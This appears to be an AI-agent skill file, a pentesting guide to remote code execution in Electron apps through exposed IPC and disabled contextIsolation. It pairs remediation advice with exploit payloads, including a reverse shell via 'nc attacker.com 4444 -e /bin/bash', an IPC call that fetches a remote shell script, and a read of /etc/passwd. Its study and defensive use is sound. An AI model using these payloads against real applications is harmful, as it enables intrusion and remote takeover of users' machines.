Electron contextIsolation RCE via IPC Exploitation
This skill helps you identify and exploit Remote Code Execution (RCE) vulnerabilities in Electron applications when contextIsolation is disabled or when preload scripts expose dangerous IPC endpoints to the renderer process.
Understanding the Vulnerability
Electron apps have two main processes:
- Main process: Has full Node.js access, controls app lifecycle
- Renderer process: Runs the web UI, should be sandboxed
When contextIsolation: false or when preload scripts expose dangerous APIs, the renderer can communicate with the main process via IPC (Inter-Process Communication). If the main process handles these IPC events unsafely, RCE becomes possible.
Detection Patterns
1. Check for contextIsolation Status
Look for these patterns in main.js or app.js:
// VULNERABLE - contextIsolation disabled
BrowserWindow({
webPreferences: {
contextIsolation: false,
nodeIntegration: true
}
})
// SECURE - contextIsolation enabled
BrowserWindow({
webPreferences: {
contextIsolation: true,
nodeIntegration: false,
preload: path.join(__dirname, 'preload.js')
}
})
2. Identify Dangerous IPC Exposure in preload.js
Look for patterns that expose main process APIs to the renderer:
// DANGEROUS - exposes arbitrary IPC send
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
// DANGEROUS - exposes shell.openExternal
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}
// DANGEROUS - exposes full IPC communication
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}
3. Identify Dangerous IPC Handlers in main.js
Look for IPC handlers that execute code or download files:
// DANGEROUS - downloads and executes arbitrary URLs
ipcMain.on("getUpdate", (event, url) => {
mainWindow.webContents.downloadURL(url)
// ... later executes the downloaded file
})
// DANGEROUS - executes shell commands
ipcMain.on("exec", (event, command) => {
const { exec } = require('child_process')
exec(command, (err, stdout) => {
event.sender.send('result', stdout)
})
})
// DANGEROUS - reads arbitrary files
ipcMain.on("readFile", (event, path) => {
const fs = require('fs')
event.sender.send('file-content', fs.readFileSync(path))
})
Exploitation Techniques
Technique 1: Direct IPC Exploitation
If preload exposes electronSend or similar:
<script>
// Trigger dangerous IPC event
electronSend("getUpdate", "https://attacker.com/revshell.sh")
</script>
Technique 2: XSS to RCE Chain
If the app has XSS and dangerous IPC:
<script>
// 1. Inject XSS payload
// 2. Use exposed IPC to trigger RCE
window.electronSend("exec", "nc attacker.com 4444 -e /bin/bash")
</script>
Technique 3: shell.openExternal Abuse
If shell.openExternal is exposed:
<script>
// Use file:// protocol to open local files
electronOpenInBrowser("file:///etc/passwd")
// Or use custom protocols that may execute code
electronOpenInBrowser("custom-protocol://malicious")
</script>
Technique 4: Arbitrary Event Injection
If full IPC communication is exposed:
<script>
// Listen for responses
electronListen('response', (data) => {
console.log('Got response:', data)
})
// Send arbitrary events
electronSend('any-event', 'any-data')
</script>
Testing Workflow
Step 1: Reconnaissance
Extract the Electron app (if you have the binary):
# On Linux unzip -l app.asar # Or use electron-rebuild to extractLocate key files:
main.jsorapp.js- main process entry pointpreload.js- bridge between renderer and mainpackage.json- dependencies and scripts
Search for IPC patterns:
grep -r "ipcMain.on" main.js grep -r "ipcRenderer.send" preload.js grep -r "contextIsolation" main.js
Step 2: Identify Attack Surface
- List all IPC channels exposed in preload.js
- Map each channel to its handler in main.js
- Assess each handler for dangerous operations:
- File system access
- Process execution
- Network operations
- Environment variable access
Step 3: Exploit Development
- Create a test HTML file with your exploit payload
- Inject it into the renderer (via XSS, devtools, or file:// URL)
- Execute the IPC call to trigger the vulnerability
- Capture the result (file read, command output, etc.)
Remediation Guidance
For Developers
Enable contextIsolation:
webPreferences: { contextIsolation: true, nodeIntegration: false }Use contextBridge for safe API exposure:
// preload.js const { contextBridge, ipcRenderer } = require('electron') contextBridge.exposeInMainWorld('electronAPI', { // Only expose specific, safe functions getUpdate: (url) => ipcRenderer.invoke('getUpdate', url) })Validate all IPC inputs in main.js:
ipcMain.handle('getUpdate', (event, url) => { // Validate URL if (!url.startsWith('https://trusted-domain.com/')) { throw new Error('Invalid URL') } // ... safe handling })Use ipcRenderer.invoke instead of send for request/response:
// More secure, synchronous-like pattern const result = await ipcRenderer.invoke('safe-channel', data)
Real-World Examples
Microsoft Teams Pwn2Own (2019)
- Vulnerability: XSS + IPC abuse
- Impact: $150,000 bounty, full RCE
- Chain: XSS → IPC → File download → Execution
Common Patterns in Vulnerable Apps
- Update mechanisms that download and execute
- File operations without path validation
- Shell command execution with user input
- Arbitrary IPC channels exposed to renderer
Security Checklist
- contextIsolation is enabled
- nodeIntegration is disabled
- Preload script uses contextBridge
- All IPC handlers validate inputs
- No arbitrary file operations exposed
- No shell command execution exposed
- IPC channels are minimal and specific
- Use ipcRenderer.invoke for request/response
References
Note: This skill is for authorized security testing only. Always have proper authorization before testing Electron applications for vulnerabilities.